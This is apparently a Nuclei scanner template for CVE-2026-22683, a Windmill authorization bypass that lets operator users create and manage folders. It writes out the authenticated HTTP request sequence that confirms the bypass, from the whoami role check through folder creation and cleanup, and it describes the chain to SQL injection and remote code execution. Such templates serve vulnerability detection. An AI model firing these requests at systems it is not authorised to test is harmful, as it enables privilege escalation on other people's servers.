id: CVE-2026-22683 info: name: Windmill < 1.603.3 - Operator Authorization Bypass author: chocapikk,DhiyaneshDK severity: high description: | Windmill versions 1.276.0 through 1.603.2 contain an authorization bypass vulnerability in the folder management API endpoints. The endpoints for creating, deleting, and managing folder ownership do not enforce role-based access control for operator-level users. In Windmill, operators are restricted users intended to only execute existing scripts, but due to missing server-side authorization checks, operators can create folders, manage folder permissions, and access owner management endpoints. This bypass serves as the prerequisite for exploiting CVE-2026-23696 (SQL injection via folder addowner) enabling full privilege escalation from operator to super admin with remote code execution. impact: | An attacker with operator-level credentials can bypass role restrictions to create and manage folders. When chained with CVE-2026-23696 (SQL injection in folder addowner), this enables extraction of the JWT signing secret, forging of admin tokens, and escalation to super admin with arbitrary code execution on the server. remediation: | Update Windmill to version 1.603.3 or later which properly enforces operator role restrictions on folder management and job execution endpoints. reference: - https://github.com/Chocapikk/Windfall - https://github.com/windmill-labs/windmill/commit/942fb629210ebb287f48467d1535ffde3a3eeafe - https://chocapikk.com/posts/2026/windfall-nextcloud-flow-windmill-rce/ - https://nvd.nist.gov/vuln/detail/CVE-2026-22683 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N cvss-score: 8.1 cve-id: CVE-2026-22683 epss-score: 0.02609 epss-percentile: 0.83775 cwe-id: CWE-862 metadata: verified: true max-request: 5 vendor: windmill-labs product: windmill tags: cve,cve2026,windmill,operator,privesc,authenticated variables: folder: "{{to_lower(rand_text_alpha(8))}}" flow: | http("list-workspaces") && http("check-role") && http("create-folder") && http("verify-bypass") && http("cleanup") http: - id: list-workspaces raw: - | GET /api/workspaces/list HTTP/1.1 Host: {{Hostname}} Authorization: Bearer {{token}} Content-Type: application/json matchers: - type: word words: - '"id"' internal: true extractors: - type: regex name: workspace part: body group: 1 regex: - '"id"\s*:\s*"([^"]+)"' internal: true - id: check-role raw: - | GET /api/w/{{workspace}}/users/whoami HTTP/1.1 Host: {{Hostname}} Authorization: Bearer {{token}} Content-Type: application/json matchers: - type: dsl dsl: - "contains_all(body, '\"operator\":true','\"is_admin\":false')" internal: true - id: create-folder raw: - | POST /api/w/{{workspace}}/folders/create HTTP/1.1 Host: {{Hostname}} Authorization: Bearer {{token}} Content-Type: application/json {"name":"{{folder}}"} matchers: - type: word words: - "Created folder" internal: true - id: verify-bypass raw: - | GET /api/w/{{workspace}}/folders/get/{{folder}} HTTP/1.1 Host: {{Hostname}} Authorization: Bearer {{token}} Content-Type: application/json matchers-condition: and matchers: - type: word words: - '"owners"' - '"extra_perms"' condition: and - type: status status: - 200 - id: cleanup raw: - | DELETE /api/w/{{workspace}}/folders/delete/{{folder}} HTTP/1.1 Host: {{Hostname}} Authorization: Bearer {{token}} Content-Type: application/json matchers: - type: status status: - 200 internal: true # digest: 4a0a00473045022100e9bb3a12b8aafeb9aa474c9c39e517312b7e1522a5bbd27d0ec86b4de9d27fe002200faf7c6cd887021196f026bb3232a48758915dcf303bc2af12c1e6cd61084860:922c64590222798bb761d5b6d8e72950